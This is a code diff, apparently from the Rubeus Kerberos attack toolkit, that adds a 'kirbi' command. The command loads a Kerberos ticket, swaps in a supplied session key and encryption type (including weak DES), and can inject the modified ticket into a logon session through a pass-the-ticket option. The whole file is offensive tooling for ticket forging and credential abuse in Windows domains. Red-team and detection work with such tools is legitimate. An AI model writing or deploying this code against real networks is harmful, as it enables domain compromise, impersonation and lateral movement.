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adding modifications to support DES attacks
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,102 @@ | ||
| using System; | ||
| using System.Collections.Generic; | ||
| using System.IO; | ||
| using Rubeus.lib.Interop; | ||
|
|
||
| namespace Rubeus.Commands | ||
| { | ||
| public class Kirbi : ICommand | ||
| { | ||
| public static string CommandName => "kirbi"; | ||
|
|
||
| public void Execute(Dictionary<string, string> arguments) | ||
| { | ||
| Console.WriteLine("[*] Action: Modify Kirbi\r\n"); | ||
|
|
||
| KRB_CRED kirbi = null; | ||
| byte[] sessionKey = null; | ||
| Interop.KERB_ETYPE sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; | ||
| bool ptt = false; | ||
| string outfile = ""; | ||
| LUID luid = new LUID(); | ||
|
|
||
| if (arguments.ContainsKey("/outfile")) | ||
| { | ||
| outfile = arguments["/outfile"]; | ||
| } | ||
|
|
||
| if (arguments.ContainsKey("/ptt")) | ||
| { | ||
| ptt = true; | ||
| } | ||
|
|
||
| if (arguments.ContainsKey("/luid")) | ||
| { | ||
| try | ||
| { | ||
| luid = new LUID(arguments["/luid"]); | ||
| } | ||
| catch | ||
| { | ||
| Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); | ||
| return; | ||
| } | ||
| } | ||
|
|
||
| if (arguments.ContainsKey("/kirbi")) | ||
| { | ||
| string kirbi64 = arguments["/kirbi"]; | ||
|
|
||
| if (Helpers.IsBase64String(kirbi64)) | ||
| { | ||
| byte[] kirbiBytes = Convert.FromBase64String(kirbi64); | ||
| kirbi = new KRB_CRED(kirbiBytes); | ||
| } | ||
| else if (File.Exists(kirbi64)) | ||
| { | ||
| byte[] kirbiBytes = File.ReadAllBytes(kirbi64); | ||
| kirbi = new KRB_CRED(kirbiBytes); | ||
| } | ||
| else | ||
| { | ||
| Console.WriteLine("\r\n[X] /kirbi:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); | ||
| return; | ||
| } | ||
| } | ||
|
|
||
| if (arguments.ContainsKey("/sessionkey")) | ||
| { | ||
| sessionKey = Helpers.StringToByteArray(arguments["/sessionkey"]); | ||
| } | ||
|
|
||
| if (arguments.ContainsKey("/sessionetype")) | ||
| { | ||
| string encTypeString = arguments["/sessionetype"].ToUpper(); | ||
|
|
||
| if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM")) | ||
| { | ||
| sessionKeyEtype = Interop.KERB_ETYPE.rc4_hmac; | ||
| } | ||
| else if (encTypeString.Equals("AES128")) | ||
| { | ||
| sessionKeyEtype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; | ||
| } | ||
| else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES")) | ||
| { | ||
| sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; | ||
| } | ||
| else if (encTypeString.Equals("DES")) | ||
| { | ||
| sessionKeyEtype = Interop.KERB_ETYPE.des_cbc_md5; | ||
| } | ||
| else | ||
| { | ||
| Console.WriteLine("Unsupported etype : {0}", encTypeString); | ||
| return; | ||
| } | ||
| } | ||
|
|
||
| ForgeTickets.ModifyKirbi(kirbi, sessionKey, sessionKeyEtype, ptt, luid, outfile); | ||
| } | ||
| } | ||
| } |
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